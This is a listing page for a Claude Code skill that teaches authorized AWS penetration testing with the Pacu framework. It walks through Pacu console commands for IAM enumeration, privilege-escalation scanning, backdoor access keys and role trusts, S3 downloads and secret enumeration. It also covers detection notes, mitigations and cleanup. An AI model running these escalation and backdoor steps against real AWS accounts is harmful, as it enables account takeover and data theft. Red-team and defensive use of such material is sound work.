mcpField
E
exploiting-aws-with-pacu

exploiting-aws-with-pacu

github.com/mukul975安全35.2k38 次安装8 周前更新
代码仓库

关于 exploiting-aws-with-pacu

此技能介绍使用 Pacu 对 AWS 账户开展授权渗透测试,适合云安全测试人员。内容涵盖权限枚举、提权路径分析及持久化测试,并强调清理测试痕迹。

主要功能

  1. 01管理 AWS 凭证与测试会话
  2. 02枚举 IAM 权限和云资源
  3. 03扫描并测试提权路径
  4. 04演示密钥与角色持久化
  5. 05导出发现并清理残留

适用场景

  1. 01评估泄露 IAM 凭证的影响范围
  2. 02开展授权 AWS 红队测试
  3. 03验证云检测并演示攻击迹象

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-aws-with-pacu

安装后在 Claude Code 中输入/exploiting-aws-with-pacu确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
standards.md
scripts/
agent.py

详细介绍

使用 Pacu 利用 AWS

法律声明: 本技能仅用于授权的渗透测试和教育目的。Pacu 会针对实时 AWS 账户执行主动枚举、权限提升、持久化和后门植入。请仅对你拥有或已获得明确书面授权(范围/交战规则)的账户运行它。许多模块会产生持久性更改(新的 IAM 用户、访问密钥、策略);请跟踪并移除所有内容。未经授权的使用在 CFAA 及同等法律下属于违法行为。

概述

Pacu 是来自 Rhino Security Labs 的开源 AWS 利用框架。它是 Metasploit 的云渗透测试对应物:一个模块化的 Python 控制台,用于管理目标会话、枚举 AWS 账户、识别权限提升路径,并执行持久化/后门植入/数据外泄模块——所有这些都由一个本地 SQLite 数据库支撑,该数据库记录每个被枚举的资源,以便模块可以基于彼此的发现进行链式操作。

一次 Pacu 行动遵循一致的流程。你创建一个命名会话,加载 AWS 密钥(使用 set_keys 或从 ~/.aws/credentials 导入),用 whoami 确认身份,然后枚举 IAM 及账户的其余部分。旗舰工作流是 iam__enum_permissions 后接 iam__privesc_scan,它会针对约 20 种已知的 AWS IAM 权限提升原语(例如 iam:CreatePolicyVersion、iam:AttachUserPolicy、iam:PassRole + lambda:CreateFunction、sts:AssumeRole)检查已攻陷的主体,并可自动利用它们。持久化模块如 iam__backdoor_users_keys 会在现有用户上创建第二个访问密钥,而 iam__backdoor_assume_role 会向角色添加信任关系,以便攻击者日后可以代入该角色。

本技能涵盖安装 Pacu、会话和凭证管理、IAM 枚举、自动化权限提升扫描和利用、持久化/后门植入以及数据访问——每条命令和模块名称均已对照 Rhino Security Labs 项目核实。来源:github.com/RhinoSecurityLabs/pacu。

何时使用

  • 进行授权的 AWS 云渗透测试或红队行动
  • 评估单个已泄露 IAM 凭证的影响范围(权限提升扫描)
  • 演示持久化/后门技术以推动修复
  • 生成逼真的攻击者遥测数据以测试云检测(紫队)
  • 梳理不熟悉的 AWS 账户的 IAM、EC2、S3 和 Lambda 暴露面

前提条件

  • 已安装 Pacu:
    python3 -m pip install -U pip
    python3 -m pip install -U pacu     # then run: pacu
    # or, preferred on Kali, with pipx:
    pipx install git+https://github.com/RhinoSecurityLabs/pacu.git
    # or Docker:
    docker run -it rhinosecuritylabs/pacu:latest
    
  • 范围内目标主体的 AWS 访问密钥/密钥(以及可选的会话令牌)
  • 已签署的授权/交战规则文档,明确界定范围
  • Python 3.9+ 以及到 AWS API 端点的出站 HTTPS
  • 已安装 AWS CLI 用于验证(aws sts get-caller-identity)

目标

  • 安装 Pacu 并创建一个隔离的行动会话
  • 加载并验证目标 AWS 凭证
  • 枚举已攻陷主体的 IAM 权限
  • 识别并(在已授权时)利用权限提升路径
  • 通过后门访问密钥和角色信任建立持久化
  • 枚举并访问 EC2、S3 和 Secrets Manager 中的数据
  • 导出发现以供报告,并确保所有痕迹均已移除

MITRE ATT&CK 映射

ID名称在本技能中的用途
T1078.004有效账户:云账户Pacu 以有效 AWS 主体的身份运行并滥用其权限
T1098.001账户操纵:额外云凭证iam__backdoor_users_keys 创建第二个访问密钥
T1098.003账户操纵:额外云角色iam__backdoor_assume_role / 通过角色策略更改进行权限提升
T1580云基础设施发现ec2__enum、iam__enum_users_roles_policies_groups
T1530来自云存储的数据s3__download_bucket 检索 S3 对象
T1552.005不安全的凭证:云实例元数据 APIEC2 IMDS 凭证滥用

工作流

1. 启动 Pacu 并创建会话
pacu
# In the Pacu console:
Pacu> set_keys
#   key alias  : engagement-target
#   access key : AKIA...
#   secret key : ...
#   session tok: (optional)
2. 确认你正在使用的身份
Pacu> whoami
Pacu> run aws sts get-caller-identity     # or, outside Pacu: aws sts get-caller-identity
3. 枚举 IAM 实体以及被攻陷主体的权限
Pacu> run iam__enum_users_roles_policies_groups
Pacu> run iam__enum_permissions
Pacu> data IAM            # review what was collected into the session DB
4. 扫描权限提升路径

iam__privesc_scan 会检查该主体是否符合已知的 AWS 提权原语,并列出可行的方法。

Pacu> run iam__privesc_scan
# To attempt automated exploitation of a discovered method:
Pacu> run iam__privesc_scan --offline      # analyze without making changes
5. 通过后门访问密钥建立持久化
Pacu> run iam__backdoor_users_keys --usernames target-user
# Add an assumable-role trust for long-term access:
Pacu> run iam__backdoor_assume_role --role-names target-role --user-arns arn:aws:iam::111122223333:user/attacker
6. 枚举计算和存储
Pacu> run ec2__enum
Pacu> run s3__download_bucket --names target-bucket
Pacu> data S3
7. 收集密钥
Pacu> run secrets__enum
8. 非交互式执行(CI / 脚本化)

Pacu 支持从 shell 一次性执行模块。

pacu --session engagement --module-name iam__enum_users_roles_policies_groups --exec
pacu --session engagement --module-name s3__download_bucket \
     --module-args "--names target-bucket" --exec
9. 导出发现并清理
Pacu> data all > /dev/stdout         # review collected data
# Manually remove every backdoor created (record ARNs/key IDs first):
aws iam delete-access-key --user-name target-user --access-key-id AKIA_BACKDOOR
aws iam update-assume-role-policy --role-name target-role --policy-document file://original-trust.json

参见 scripts/agent.py,以非交互方式驱动 enumerate->privesc 流程。

工具和资源

资源用途链接
Pacu GitHub源代码、模块、wikihttps://github.com/RhinoSecurityLabs/pacu
Pacu 模块列表每个模块的文档https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details
Rhino AWS 提权研究iam__privesc_scan 检查的提权原语https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
AWS IAM 文档权限和策略参考https://docs.aws.amazon.com/IAM/latest/UserGuide/
CloudGoat可安全练习的易受攻击 AWS 实验环境https://github.com/RhinoSecurityLabs/cloudgoat

OPSEC 与检测注意事项

Pacu 模块噪音大且具有持久性;操作者必须同时为检测和清理做好规划:

  • iam__enum_permissions 和 iam__enum_users_roles_policies_groups 会产生大量 iam:List*/iam:Get* 调用,在 CloudTrail 和 GuardDuty 中可见 (Discovery:IAMUser/AnomalousBehavior)。
  • iam__privesc_scan 在非离线模式下可能会进行更改状态的调用 (iam:CreatePolicyVersion、iam:AttachUserPolicy);仅用于分析时请使用 --offline。
  • iam__backdoor_users_keys 会触发 iam:CreateAccessKey,而 iam__backdoor_assume_role 会触发 iam:UpdateAssumeRolePolicy —— 二者都是 防御者会告警的高信号持久化指标。
  • 记录每个产物 ID(访问密钥、策略版本、角色信任更改),以便每个 都能被还原;遗留后门既是 OPSEC 失败,也是对客户的真实风险。

建议的防御缓解措施

发现修复
权限过宽的 IAM 主体(提权路径)应用最小权限;用条件限制 iam:PassRole 的范围
允许 iam:CreatePolicyVersion / SetDefaultPolicyVersion从非管理员角色中移除
长期有效的访问密钥强制密钥轮换;优先使用角色 / 短期 STS 凭证
对密钥创建没有检测在 CloudTrail 中对 CreateAccessKey / UpdateAssumeRolePolicy 告警

关键模块参考

模块用途
iam__enum_users_roles_policies_groups枚举所有 IAM 主体和策略
iam__enum_permissions解析当前主体的有效权限
iam__privesc_scan识别(并可选利用)提权路径
iam__backdoor_users_keys在用户上创建后门访问密钥
iam__backdoor_assume_role向角色添加攻击者控制的信任
ec2__enum枚举 EC2 实例、卷、快照
s3__download_bucket从 S3 存储桶下载对象
secrets__enum枚举 Secrets Manager / SSM 参数

验证标准

  • 已安装 Pacu 且控制台可启动
  • 已创建参与会话并加载密钥
  • 已用 whoami / sts get-caller-identity 确认身份
  • 已枚举 IAM 实体和当前主体权限
  • 已运行 iam__privesc_scan 并记录可行路径
  • 已演示持久化模块行为(在授权范围内)
  • 已完成 EC2/S3/secrets 枚举
  • 已记录并移除所有创建的后门(密钥、角色信任、策略)
  • 已导出发现用于参与报告
  • 账户中没有残留的攻击者产物

评论

支持 Markdown